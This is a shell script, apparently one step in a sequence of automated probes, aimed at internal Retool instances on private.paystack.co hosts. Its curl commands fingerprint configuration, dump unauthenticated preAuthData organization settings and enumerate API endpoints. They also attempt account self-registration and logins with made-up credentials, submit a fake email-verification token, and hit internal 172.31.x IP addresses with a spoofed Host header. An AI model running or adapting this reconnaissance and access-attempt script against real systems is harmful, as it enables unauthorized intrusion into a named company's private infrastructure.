59 lines
3.2 KiB
Bash
59 lines
3.2 KiB
Bash
#!/bin/sh
|
|
# Intent 20337 step 3: third Retool instance (retool-enterprise 3.284.1) + preAuthData value dump.
|
|
|
|
C="curl -sk -m 8 --connect-timeout 3"
|
|
T=/tmp/rt20337c
|
|
mkdir -p "$T" 2>/dev/null
|
|
H=retool-enterprise.private.paystack.co
|
|
|
|
echo "== RESOLVE"
|
|
for i in 1 2 3 4; do getent hosts "$H" 2>/dev/null | head -2; done
|
|
|
|
echo "== ROOT $H"
|
|
$C -o "$T/r" -w "root %{http_code} %{size_download}\n" "https://$H/"
|
|
grep -oE '(SAML_ENABLED|DISABLE_USER_PASS_LOGIN|RESTRICTED_DOMAIN|VERSION_CONTROL_LOCKED|CLIENT_ID|MAIN_DOMAIN|SANDBOX_DOMAIN|VERSION)[[:space:]]*[=:][[:space:]]*[^,;<]{0,80}' "$T/r" 2>/dev/null | head -12
|
|
head -c 200 "$T/r"; echo
|
|
|
|
echo "== PREAUTH $H"
|
|
$C -o "$T/p" -w "preauth %{http_code} %{size_download}\n" "https://$H/api/organization/preAuthData"
|
|
head -c 900 "$T/p"; echo
|
|
|
|
echo "== CORE $H"
|
|
for p in /api/checkHealth /api/version /api/config /api/status /api/current_user /api/public/apps; do
|
|
$C -o "$T/b" -w "$p %{http_code} %{size_download}\n" "https://$H$p"
|
|
head -c 180 "$T/b" | tr '\r\n' ' '; echo
|
|
done
|
|
|
|
echo "== SIGNUP $H"
|
|
$C -o "$T/b" -D "$T/h" -w "signup %{http_code} %{size_download}\n" -X POST -H "Content-Type: application/json" --data-binary '{"email":"pstkrt20337c@maxxspace.com","password":"Pstk!Rt20337c"}' "https://$H/api/signup"
|
|
grep -i '^set-cookie' "$T/h" | tr -d '\r' | head -4
|
|
head -c 320 "$T/b" | tr '\r\n' ' '; echo
|
|
|
|
echo "== SIGNUP2 $H"
|
|
$C -o "$T/b" -w "signup2 %{http_code} %{size_download}\n" -X POST -H "Content-Type: application/json" --data-binary '{"email":"pstkrt20337d@maxxspace.com","password":"Pstk!Rt20337d","organizationName":"PstkOrg20337"}' "https://$H/api/signup"
|
|
head -c 320 "$T/b" | tr '\r\n' ' '; echo
|
|
|
|
echo "== LOGIN $H"
|
|
for u in /api/login /api/auth/login; do
|
|
$C -o "$T/b" -w "login $u %{http_code} %{size_download}\n" -X POST -H "Content-Type: application/json" --data-binary '{"email":"pstkrt20337c@maxxspace.com","password":"Pstk!Rt20337c"}' "https://$H$u"
|
|
head -c 240 "$T/b" | tr '\r\n' ' '; echo
|
|
done
|
|
|
|
echo "== VERIFY-EMAIL $H"
|
|
$C -o "$T/b" -w "verify %{http_code} %{size_download}\n" -X POST -H "Content-Type: application/json" --data-binary '{"registrationToken":"x20337x"}' "https://$H/api/verifyEmail"
|
|
head -c 240 "$T/b" | tr '\r\n' ' '; echo
|
|
|
|
echo "== PREAUTH VALUES retooldata"
|
|
$C -o "$T/p2" -w "preauth2 %{http_code} %{size_download}\n" "https://retooldata.private.paystack.co/api/organization/preAuthData"
|
|
/usr/local/bin/php -r '$f="/tmp/rt20337c/p2"; $j=json_decode(@file_get_contents($f),true); if(!is_array($j)){echo "parse-fail\n"; exit;} foreach(["orgId","orgDisplayName","onPremOrgExists","ssoTypes","requestAccessEnabled","isEmailPasswordLoginDisabled","isStrongPasswordRequired","cloudPasswordlessLoginIsEnabled","intercomAppId","showLoginLogo","hideRetoolReferences","mobileShouldUseWebLogin"] as $k){ echo $k."=".json_encode(isset($j[$k])?$j[$k]:null)."\n";}'
|
|
echo "== PREAUTH VALUES retool"
|
|
$C -o "$T/p3" -w "preauth3 %{http_code} %{size_download}\n" "https://retool.private.paystack.co/api/organization/preAuthData"
|
|
cat "$T/p3"; echo
|
|
|
|
echo "== ENTERPRISE IP MATRIX"
|
|
for ip in 172.31.123.158 172.31.137.220; do
|
|
$C -k -o "$T/b" -w "GET $ip Host=$H / -> %{http_code} %{size_download}\n" -H "Host: $H" "https://$ip/api/checkHealth"
|
|
head -c 100 "$T/b" | tr '\r\n' ' '; echo
|
|
done
|
|
|
|
echo "RT3DONE"
|